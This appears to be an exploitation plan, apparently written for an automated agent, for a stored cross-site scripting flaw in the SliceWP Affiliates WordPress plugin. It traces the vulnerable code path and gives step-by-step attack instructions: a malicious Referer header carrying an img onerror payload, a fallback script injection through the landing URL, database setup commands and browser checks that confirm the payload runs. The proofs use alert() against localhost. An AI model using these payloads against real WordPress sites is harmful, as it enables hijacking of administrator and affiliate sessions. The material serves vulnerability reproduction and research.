Exploitation Research Plan: CVE-2026-42653 (SliceWP Affiliates Stored XSS)

1. Vulnerability Summary

The Affiliate Program Suite — SliceWP Affiliates plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) in versions up to 1.2.6. The vulnerability exists because the plugin tracks and stores visitor metadata (specifically the Referer header and potentially the Landing URL) without proper sanitization and subsequently displays this data in administrative and affiliate-facing list tables without output escaping. An unauthenticated attacker can inject a malicious script by visiting an affiliate link with a crafted Referer header.

2. Attack Vector Analysis

• Endpoint: Any public-facing WordPress page, specifically when appended with an affiliate tracking parameter.
• Vulnerable Parameter: HTTP_REFERER header.
• Secondary Parameter: The URL path/query string (stored as landing_url).
• Authentication: None (Unauthenticated).
• Preconditions:
  1. The SliceWP plugin must be active.
  2. An affiliate must exist (to provide a valid tracking ID).
  3. Affiliate tracking must be enabled (default state).

3. Code Flow

1. Entry Point: When a user visits the site, the plugin checks for an affiliate ID (usually via $_GET['slicewp_aff']).
2. Tracking Logic (Inferred): The plugin captures the visit details using $_SERVER['HTTP_REFERER'] and the current URL.
3. Storage Sink: These values are passed to a storage function (e.g., slicewp_add_visit()) which inserts a record into the wp_slicewp_visits database table.
4. Display Sink (Admin): An administrator navigates to SliceWP -> Visits. The class SliceWP_WP_List_Table_Visits (found in includes/admin/visits/class-list-table-visits.php) retrieves the records using slicewp_get_visits().
5. Display Sink (Affiliate): An affiliate logs into their account and views the "Visits" tab. The class SliceWP_List_Table_Affiliate_Account_Visits (found in includes/users/class-list-table-affiliate-account-visits.php) displays the data.
6. The Flaw: In get_columns(), the keys landing_url and referrer_url are defined. The plugin lacks specific column_referrer_url() or column_landing_url() methods that implement esc_html() or esc_url(), causing the parent class (SliceWP_WP_List_Table) to output the raw database values.

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce for the injection phase. The injection occurs during the unauthenticated visit-tracking process, which must remain accessible to new visitors without CSRF protection to function correctly.

To verify the payload execution (execution phase), the agent will need to be logged in as an Admin or an Affiliate. No nonce is required to simply view the list tables.

5. Exploitation Strategy

Step 1: Identify Affiliate ID

We need a valid affiliate ID to trigger the tracking logic.

# Get the first available affiliate ID
wp slicewp affiliate list --fields=id --format=csv | tail -n 1

Step 2: Inject Payload (Unauthenticated)

We will send a request to the homepage with the affiliate tracking parameter and a malicious Referer header.

• URL: http://localhost:8080/?slicewp_aff=[AFFILIATE_ID]
• Method: GET
• Headers:
  • Referer: <img src=x onerror=alert("XSS_REFERRER")>
  • User-Agent: Mozilla/5.0 ...

Step 3: Trigger Execution (Admin Context)

The payload executes when an administrator views the visit logs.

• Action: Log in as Admin and navigate to /wp-admin/admin.php?page=slicewp-visits.
• Tool: browser_navigate followed by checking for the alert/DOM element.

6. Test Data Setup

1. Create an Affiliate: Ensure at least one affiliate exists.

   # Create a user and register them as an affiliate
   wp user create affiliate_user affiliate@example.com --role=subscriber --user_pass=password
   # (Assuming SliceWP CLI or manual DB insert for affiliate registration if needed)
   wp db query "INSERT INTO wp_slicewp_affiliates (user_id, status, date_created) VALUES (2, 'active', NOW());"
   

2. Enable Tracking: Ensure tracking is not disabled in SliceWP settings.

7. Expected Results

1. The http_request (Step 2) should return a 200 OK.
2. The database query SELECT referrer_url FROM wp_slicewp_visits ORDER BY id DESC LIMIT 1; should show the raw XSS payload.
3. When navigating to the admin visits page, the browser should execute the JavaScript in the onerror handler of the injected <img> tag.

8. Verification Steps

After performing the HTTP request, verify storage:

# Check the visits table for the injected payload
wp db query "SELECT id, referrer_url, landing_url FROM wp_slicewp_visits ORDER BY id DESC LIMIT 1;"

Verify rendering (via browser_eval after navigating to the admin page):

// Check if the payload exists in the table cells
browser_eval("document.querySelector('.referrer_url').innerHTML.includes('<img src=x')")

9. Alternative Approaches

If the Referer header is sanitized, try injecting into the Landing URL by manipulating the query string:

• URL: http://localhost:8080/?slicewp_aff=[ID]&ignore="><script>alert('XSS_LANDING')</script>
• Affiliate plugins often store the entire REQUEST_URI as the landing_url. If the table renders the landing_url column without escaping, the script will execute.